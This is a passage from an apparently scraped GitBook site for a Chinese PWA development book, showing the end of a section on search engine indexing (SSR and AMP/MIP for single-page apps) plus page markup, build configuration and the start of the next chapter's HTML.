&#x5462;&#xFF1F;&#x901A;&#x5E38;&#x6709;&#x5982;&#x4E0B;&#x4E24;&#x79CD;&#x6BD4;&#x8F83;&#x597D;&#x7684;&#x65B9;&#x6848;&#xFF0C;&#x4E0D;&#x4EC5;&#x89E3;&#x51B3;&#x4E86;&#x641C;&#x7D22;&#x6536;&#x5F55;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x8FD8;&#x80FD;&#x63D0;&#x5347;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x3002;</p>\n<ul>\n<li>SSR&#xFF08;Server Side Rendering&#xFF09;&#x670D;&#x52A1;&#x7AEF;&#x6E32;&#x67D3;&#x3002;</li>\n<li>&#x7ED3;&#x5408; AMP/MIP&#x3002;</li>\n</ul>\n<p>&#x5F53;&#x524D;&#x8BB8;&#x591A; MVVM &#x524D;&#x7AEF;&#x5F00;&#x53D1;&#x6846;&#x67B6;&#x90FD;&#x652F;&#x6301;&#x4E86; SPA/SSR <strong>&#x540C;&#x6784;&#x67B6;&#x6784;</strong>&#x6A21;&#x5F0F;&#xFF0C;&#x5982; React/Vue &#x7B49;&#x3002;&#x901A;&#x5E38;&#x91C7;&#x7528; SSR &#x67B6;&#x6784;&#x7684; Web App &#x80FD;&#x505A;&#x5230;&#x7B2C;&#x4E00;&#x6B21;&#x8BF7;&#x6C42;&#x91C7;&#x7528; SSR &#x6A21;&#x5F0F;&#x76F4;&#x63A5;&#x5728;&#x670D;&#x52A1;&#x7AEF;&#x6E32;&#x67D3;&#x51FA;&#x5185;&#x5BB9;&#xFF0C;&#x4EE5;&#x4F9B;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x6293;&#x53D6;&#x548C;&#x6536;&#x5F55;&#xFF0C;&#x7B2C;&#x4E00;&#x5C4F;&#x65E0;&#x9700;&#x5728;&#x5BA2;&#x6237;&#x7AEF;&#x901A;&#x8FC7;&#x6267;&#x884C; JavaScript &#x6E32;&#x67D3;&#x5185;&#x5BB9;&#xFF0C;&#x540E;&#x7EED;&#x9875;&#x9762;&#x5207;&#x6362;&#x64CD;&#x4F5C;&#x90FD;&#x662F;&#x5728;&#x5BA2;&#x6237;&#x7AEF;&#x901A;&#x8FC7; pushState &#x7684;&#x65B9;&#x5F0F;&#x5207;&#x6362;&#x8DEF;&#x7531;&#xFF0C;&#x91C7;&#x7528;&#x524D;&#x7AEF;&#x6E32;&#x67D3;&#x65B9;&#x5F0F;&#x3002;&#x8FD9;&#x6837;&#x65E2;&#x4FDD;&#x8BC1;&#x4E86;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x7684;&#x6293;&#x53D6;&#x548C;&#x6536;&#x5F55;&#xFF0C;&#x4E5F;&#x4FDD;&#x8BC1;&#x4E86; Web App &#x7684;&#x826F;&#x597D;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x3002;</p>\n<p>&#x5F53;&#x524D;&#x5B58;&#x5728;&#x7684; PWA &#x6709;&#x8BB8;&#x591A;&#x4E5F;&#x662F;&#x91C7;&#x7528; SPA/SSR &#x540C;&#x6784;&#x67B6;&#x6784;&#x6A21;&#x5F0F;&#x8FDB;&#x884C;&#x5F00;&#x53D1;&#x7684;&#x3002;SSR &#x867D;&#x7136;&#x5F88;&#x597D;&#x7684;&#x89E3;&#x51B3;&#x4E86;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x6293;&#x53D6;&#x548C;&#x6536;&#x5F55;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x4F46;&#x662F;&#x5BF9;&#x4E8E;&#x670D;&#x52A1;&#x5668;&#x8D44;&#x6E90;&#x7684;&#x6D88;&#x8017;&#x8F83;&#x5927;&#xFF0C;&#x7EF4;&#x62A4;&#x6210;&#x672C;&#x4E5F;&#x76F8;&#x5BF9;&#x8F83;&#x9AD8;&#xFF0C;&#x5BB9;&#x6613;&#x5728;&#x670D;&#x52A1;&#x7AEF;&#x51FA;&#x73B0;&#x4E00;&#x4E9B;&#x610F;&#x60F3;&#x4E0D;&#x5230;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x6240;&#x4EE5;&#x5728;&#x5B9E;&#x9645;&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x65F6;&#x9700;&#x8981;&#x591A;&#x52A0;&#x6CE8;&#x610F;&#x3002;&#x7531;&#x4E8E; SSR &#x53EF;&#x67E5;&#x9605;&#x7684;&#x8D44;&#x6599;&#x8F83;&#x591A;&#xFF0C;&#x6240;&#x4EE5; SSR &#x5185;&#x5BB9;&#x5C06;&#x4E0D;&#x5728;&#x672C;&#x7AE0;&#x8FC7;&#x591A;&#x4ECB;&#x7ECD;&#x3002;</p>\n<p>SPA &#x548C; AMP/MIP &#x7684;&#x7ED3;&#x5408;&#xFF0C;&#x4E5F;&#x662F;&#x4E00;&#x79CD;&#x5BF9;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x53CB;&#x597D;&#x7684;&#x65B9;&#x6848;&#xFF0C;&#x5728;&#x4E0B;&#x4E00;&#x5C0F;&#x8282;&#xFF0C;&#x5C06;&#x91CD;&#x70B9;&#x4ECB;&#x7ECD;&#x8FD9;&#x90E8;&#x5206;&#x7684;&#x5185;&#x5BB9;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"../chapter09.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 第9章 PWA 与搜索\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"2-pwa-and-amp-and-mip.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 9.2 PWA 与 AMP/MIP\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"9.1 搜索引擎收录\",\"level\":\"1.10.1\",\"depth\":2,\"next\":{\"title\":\"9.2 PWA 与 AMP/MIP\",\"level\":\"1.10.2\",\"depth\":2,\"path\":\"chapter09/2-pwa-and-amp-and-mip.md\",\"ref\":\"chapter09/2-pwa-and-amp-and-mip.md\",\"articles\":[]},\"previous\":{\"title\":\"第9章 PWA 与搜索\",\"level\":\"1.10\",\"depth\":1,\"path\":\"chapter09.md\",\"ref\":\"chapter09.md\",\"articles\":[{\"title\":\"9.1 搜索引擎收录\",\"level\":\"1.10.1\",\"depth\":2,\"path\":\"chapter09/1-search-engine-index.md\",\"ref\":\"chapter09/1-search-engine-index.md\",\"articles\":[]},{\"title\":\"9.2 PWA 与 AMP/MIP\",\"level\":\"1.10.2\",\"depth\":2,\"path\":\"chapter09/2-pwa-and-amp-and-mip.md\",\"ref\":\"chapter09/2-pwa-and-amp-and-mip.md\",\"articles\":[]},{\"title\":\"9.3 全站 AMP/MIP\",\"level\":\"1.10.3\",\"depth\":2,\"path\":\"chapter09/3-whole-site-amp-and-mip.md\",\"ref\":\"chapter09/3-whole-site-amp-and-mip.md\",\"articles\":[]},{\"title\":\"9.4 AMP/MIP 预加载 PWA\",\"level\":\"1.10.4\",\"depth\":2,\"path\":\"chapter09/4-preload-pwa.md\",\"ref\":\"chapter09/4-preload-pwa.md\",\"articles\":[]}]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter09/1-search-engine-index.md\",\"mtime\":\"2019-06-19T10:37:42.415Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter09/2-pwa-and-amp-and-mip.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>9.2 PWA 与 AMP/MIP · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"3-whole-site-amp-and-mip.html\" />\n    \n    \n    <link rel=\"prev\" href=\"1-search-engine-index.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        